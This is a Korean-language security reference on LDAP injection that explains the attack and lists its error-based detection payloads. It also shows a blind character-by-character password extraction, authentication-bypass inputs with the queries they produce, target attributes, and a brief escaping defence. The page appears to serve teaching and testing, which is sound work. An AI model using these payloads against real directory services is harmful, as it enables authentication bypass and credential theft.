LDAP Injection

Introduction

LDAP Injeciton은 LDAP(Lightweight Directory Access Protocol)에 대한 Injection 공격으로 사용자의 입력값이 LDAP Query에 직접 영향을 끼칠 수 있을 때 이를 통해 비정상적인 LDAP 동작을 유도하는 공격 방법입니다. 보통의 Injection 취약점과 비슷하게 전반적인 공격 매커니즘은 SQL Injection 등 대다수 Injection 방식과 동일합니다.

LDAP이란?

LDAP 자체는 TCP/IP 위에서 DS(Directory Service)를 조회하고 수정하는 Application Protocol 이지만, 보통은 기업 인프라에서 사람, 기기 등의 인증에서 사용되는 경우가 많습니다. 그래서 LDAP Injection의 대표적인 리스크가 인증 우회입니다.

Offensive techniques

Detect

Error base

Response 내 노출되는 에러를 통해 LDAP 구문의 일부가 노출되는 경우 LDAP Injection에 취약할 가능성이 높습니다. 공격자는 이 정보를 기반으로 LDAP Query를 유추하여 의도되지 않은 액션을 수행하도록 유도할 수 있습니다.

*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y

Blind

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...
(&(sn=administrator)(password=MY*))  : OK
(&(sn=administrator)(password=MYA*)) : KO
(&(sn=administrator)(password=MYB*)) : KO
(&(sn=administrator)(password=MYC*)) : KO
...
(&(sn=administrator)(password=MYK*)) : OK
(&(sn=administrator)(password=MYKE)) : OK

Exploitation

user  = *)(uid=*))(|(uid=*
pass  = password
query = "(&(uid=*)(uid=*)) (|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))"
user  = admin)(!(&(1=0
pass  = q))
query = (&(uid=admin)(!(&(1=0)(userPassword=q))))

Attribute List

userPassword
surname
name
cn
sn
objectClass
mail
givenName
commonName

Defensive techniques

특수문자 Escape

아래 특수문자에 대해서 Escape 처리가 필요합니다.

* ( ) . & - _ [ ] backktick(`) ~ ` ` @ $ % ^ ? : { } ! '

그리고 가능하다면 framework, library 등에서 제공하는 보안기능을 이용해 막는 것이 좋습니다.

Tools

References